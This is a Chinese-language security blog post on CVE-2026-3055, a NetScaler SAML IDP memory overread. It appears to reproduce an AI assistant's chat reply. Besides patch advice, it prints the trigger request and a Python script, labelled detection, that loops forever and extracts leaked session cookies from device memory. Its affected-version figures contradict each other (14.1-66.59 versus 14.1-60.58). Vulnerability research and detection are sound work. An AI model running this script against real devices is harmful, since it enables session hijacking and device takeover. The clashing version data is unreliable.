本周最大威胁Citrix漏洞,总结检测脚本、Poc

这个“Critical Citrix NetScaler”漏洞指的就是 CVE-2026-3055(CVSS 9.3,Critical),Citrix 官方在 2026 年 3 月 23 日左右发布的内存越界读取(Out-of-Bounds Read / Memory Overread)漏洞。 它和之前的 CitrixBleed(CVE-2023-4966)很类似,能让未经认证的远程攻击者读取设备内存中的敏感数据(如会话令牌、管理员 session ID 等),进而可能导致会话劫持或进一步入侵。

为什么这个是当前最热点?披露后不到一周就进入主动利用(3月23日披露,3月27日已有 exploitation)。
影响广泛:NetScaler ADC/Gateway 被大量企业用于负载均衡、SSL VPN、远程访问和 SAML 单点登录。
历史阴影:Citrix 设备多次被大规模利用(CitrixBleed 等),这次又被比作“续集”。
社区反应:CISA、Rapid7、Arctic Wolf 等机构跟进,The Hacker News 周报也将其列为“本周最大威胁”。

Citrix 官方安全公告(必须看):
https://support.citrix.com/external/article/CTX696300
受影响版本:14.1 < 14.1-66.59、13.1 < 13.1-62.23 等(仅当配置为 SAML Identity Provider 时风险最高,默认配置通常不受影响)。
修复版本已发布,强烈建议立即升级,并检查公网暴露实例。

1. 官方描述(Citrix Security Bulletin)

  • 漏洞类型:Insufficient input validation leading to memory overread(CWE-125)。
  • 触发条件:仅影响配置为 SAML Identity Provider (SAML IDP) 的 NetScaler ADC / Gateway 设备。默认配置不受影响。
  • 影响:远程未认证攻击者可通过精心构造的请求读取内存残留数据(包括敏感会话信息)。
  • 受影响版本(Citrix 官方):
    • NetScaler ADC / Gateway 14.1 早于 14.1-60.58(含 14.1-66.59 及更高版本已修复)
    • NetScaler ADC / Gateway 13.1 早于 13.1-62.23
    • NetScaler ADC FIPS / NDcPP 早于 13.1-37.262
  • 修复版本:升级到上面列出的固定 build 即可。

检查自己是否受影响:在 NetScaler 配置中搜索字符串 add authentication samlIdPProfile。如果存在,就很可能受影响。

修复建议立即升级到最新固定版本。这是 Citrix 强烈推荐的唯一有效缓解措施。云托管服务已由 Citrix 自动更新。

2. 完整利用细节(公开已知信息,来自 watchTowr 等安全研究)

这个漏洞目前没有公开的完整武器化 exploit / PoC(GitHub 上有些仓库只是信息收集,没有可执行代码)。但研究者已经公开了触发方式和检测方法,且野外已有威胁行为者从 2026 年 3 月 27 日开始实际利用(主要用来偷 session ID)。

图片[1]-本周最大威胁Citrix漏洞,总结检测脚本、Poc-华盟网

触发原理(内存越界读取):

  • 漏洞发生在处理特定查询参数(wctx)时。
  • 设备只检查参数是否存在,没有正确检查是否有值或 = 符号,导致直接读取未初始化/死内存(dead memory)。
  • 泄漏的数据会通过响应头 Set-Cookie: NSC_TASS=… 返回(Base64 编码的内存内容),里面可能包含之前的 HTTP 请求残留、内部 Header、甚至管理员 session ID。

触发请求示例(最简 PoC 测试请求,仅用于检测漏洞):

text

GET /wsfed/passive?wctx HTTP/1.1
Host: <你的NetScaler-IP或域名>
  • 注意:?wctx 后面没有 = 和值,这就是关键。
  • 漏洞设备返回 302 重定向 + NSC_TASS cookie 里带大量 Base64 内存数据(重复请求会得到不同内存块)。
  • 已修复设备返回的 NSC_TASS cookie 里不会有这些内存内容。

野外利用观察

  • 攻击者发送上面这种 crafted SAMLRequest 到 /saml/login 或 /wsfed/passive 端点。
  • 泄漏的内容常包含 NSC_TASS cookie 中的 admin session ID,可用于后续接管设备。

3. 测试用检测脚本(watchTowr 公开的检测工具,非破坏性)

研究者公开了一个简单 Python 脚本,用于扫描/测试自己设备是否泄漏内存(仅供合法测试使用)。你可以直接复制在自己的测试环境跑:

Python

import base64
import requests
import urllib3

urllib3.disable_warnings()

while True:
    try:
        resp = requests.get("https://<你的目标IP或域名>/wsfed/passive?wctx", 
                            verify=False, 
                            allow_redirects=False)
        tass = resp.cookies.get('NSC_TASS', None)
        if tass is None:
            continue
        tassText = base64.b64decode(tass)
        memIdx = tassText.find(b'wctx=')
        if memIdx != -1:
            bled = tassText[memIdx+5:]
            cookiePos = bled.find(b'Cookie')
            if cookiePos != -1:
                print(bled[cookiePos:].decode('ascii', errors='ignore'))
    except Exception:
        pass

使用方法

  1. 把 <你的目标IP或域名> 换成你要测试的 NetScaler VIP。
  2. 在自己的测试机/受控环境运行(千万不要扫别人设备,否则违法)。
  3. 如果输出里有 Cookie、Header 或 session 相关内容,就说明存在泄漏(漏洞存在)。

这个脚本本质上就是公开的“验证 PoC”,可以帮你确认是否中招。

4. 重要提醒

  • 尽快打补丁:漏洞已进入野外利用阶段,威胁行为者正在主动扫描和攻击未修补设备。
  • 测试建议:你说“回来测试”,强烈推荐只在自己完全控制的测试环境(非生产、已备份)进行。生产环境先升级再测试。
  • 法律提醒:仅用于合法授权的渗透测试或自有系统验证。未经授权扫描他人设备属于非法行为。
  • 如果你需要官方补丁下载链接或更多配置检查命令,可以去 Citrix 支持页面(文章号 CTX696300)查看。

如果你测试后有具体报错、日志,或者想确认你的版本是否已修复,随时把细节告诉我,我可以帮你进一步分析。安全第一,先升级!

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容